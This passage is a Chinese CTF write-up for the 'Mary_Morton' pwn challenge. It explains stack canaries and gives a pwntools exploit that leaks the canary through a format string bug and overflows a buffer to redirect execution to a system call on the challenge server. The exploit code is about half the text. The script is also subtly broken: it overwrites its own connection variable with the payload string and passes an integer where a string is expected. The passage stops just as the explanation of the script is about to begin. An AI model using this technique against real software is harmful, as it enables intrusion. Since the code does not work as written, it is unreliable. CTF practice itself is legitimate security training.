我在前面已经介绍过关于canary的内容了,所以这里直接引用并附上链接
然后我们照例先看看攻防世界的题目
这道题就是攻防世界进阶区的第一道题,其中点赞数最高的那个wp已经写得很明白了,我们这里只是复盘一下,有兴趣的可以自行去看看。
Mary_Morton
所谓的canary,就是系统会产生一个随机数,在程序的开始和结束给出,如何发生改变,那么程序就会报错退出。
如何确定canary的位置,如图,定义一个变量,在程序结束后返回,就是canary的值
先看看main
然后我们点开变量buf,位置在0x90位置
而canary在0x08的位置,两者距离为0x88,所以我们的思路就是
from pwn import *
p=remote("111.198.29.45",42124)
system_addr=p64(0x4008de)
p.sendlineafter('\n',2)
p.sendline('%23$p')
p.recvuntil('0x')
ss=p.recv(16)
pp=int(ss,16)
pp=p64(pp)
p.sendline('1')
p='a'*17*8+pp+'a'*8+system_addr
p.sendline(p)
print p.recv()
然后我们来讲解一下这个脚本